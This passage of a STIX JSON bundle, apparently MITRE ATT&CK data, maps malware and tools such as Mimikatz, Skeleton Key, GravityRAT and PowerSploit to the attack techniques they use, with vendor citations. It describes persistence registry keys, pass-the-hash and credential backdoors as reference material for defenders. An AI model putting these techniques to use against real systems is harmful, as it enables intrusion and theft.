                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c"
        },
        {
            "id": "relationship--284ffb1b-ad42-468e-9897-94c25024f0d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieves persistence by adding itself to the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> Registry key.(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.587Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim username and sends it to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T00:54:56.954Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--25d926a0-d2b5-473d-b27b-fb69cf763b77",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for files on the victim's machine.(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.928Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--54ea458f-665e-42a3-b181-8d783e9589ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) lists the running processes on the system.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.269Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.(Citation: Adsecurity Mimikatz Guide)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "relationship",
            "modified": "2021-01-25T15:43:45.856Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--18f3619c-c1e1-4b2c-b582-2cb5691f02e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim IP address, MAC address, as well as the victim account domain name.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.267Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f5633e19-e1be-4631-b714-d88016ded128",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) terminates antimalware processes.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.052Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.024Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dcf3e0d4-82a6-4af3-a0ef-6231addd6b4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--13cad982-35e3-4340-9095-7124b653df4b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "type": "relationship",
            "modified": "2021-04-14T14:16:12.328Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.(Citation: Dell Skeleton)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis",
                    "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
                    "source_name": "Dell Skeleton"
                }
            ],
            "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
            "type": "relationship",
            "modified": "2020-03-18T16:17:41.505Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of uploading and downloading files.(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:32:26.366Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e2dd48c1-c960-4f6f-ad99-5b2aa7463e68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses Python for scripting to execute additional commands.(Citation: synack 2016 review)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "type": "relationship",
            "modified": "2020-03-17T19:31:09.741Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.884Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4d8df710-e1a4-4069-afef-2e8e63ed6587",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.126Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut.(Citation: Palo Alto OilRig May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.510Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NetTraveler](https://attack.mitre.org/software/S0033) contains a keylogger.(Citation: Kaspersky NetTraveler)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky NetTraveler",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.",
                    "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"
                }
            ],
            "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:20:39.769Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of recording keystrokes.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.290Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--785abba4-fdb4-4aad-9049-5a0c748cc965",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "type": "relationship",
            "modified": "2020-03-17T02:49:53.555Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--533deac3-2f27-4256-bb11-7d68d8824d47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect domain group information by running <code>net group /domain</code> or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "type": "relationship",
            "modified": "2020-03-18T23:12:20.929Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c4aec6a5-2c11-45a2-8c79-8cccf85179cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access to the system via SSH or any other protocol that uses PAM to authenticate.(Citation: Umbreon Trend Micro)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Umbreon Trend Micro",
                    "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"
                }
            ],
            "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T02:46:29.289Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--06cd0498-7ebb-41e6-9399-c43c82487540",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-07-14T19:42:10.357Z",
            "created": "2017-05-31T21:33:27.030Z"
        },
        {
            "id": "relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to pack their tools.(Citation: APT3 Adversary Emulation Plan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
                    "source_name": "APT3 Adversary Emulation Plan"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.515Z",
            "created": "2018-01-16T21:43:14.128Z"
        },
        {
            "id": "relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283)\u2019s Java payload is encrypted with AES.(Citation: jRAT Symantec Aug 2018) Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.(Citation: Symantec Frutas Feb 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door",
                    "source_name": "Symantec Frutas Feb 2013"
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.387Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--003f23dd-24c7-4b3b-b703-0bf081d638f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:29.096Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1d90aad5-e0fb-4a8c-862a-71d3db99bae9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has used HTTP for C2.(Citation: Symantec Orangeworm IOCs April 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018.",
                    "source_name": "Symantec Orangeworm IOCs April 2018"
                }
            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:06:01.839Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c8480a31-f2ef-4de2-82b2-95b1ddedec2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Pasam May 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-30T17:20:41.576Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) extracts basic information about the operating system.(Citation: DustySky)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.870Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--00822c6a-a881-4678-8d74-6a52b2ca27c9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) uses [PsExec](https://attack.mitre.org/software/S0029) to execute a payload or commands on a remote host.(Citation: GitHub Pupy)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
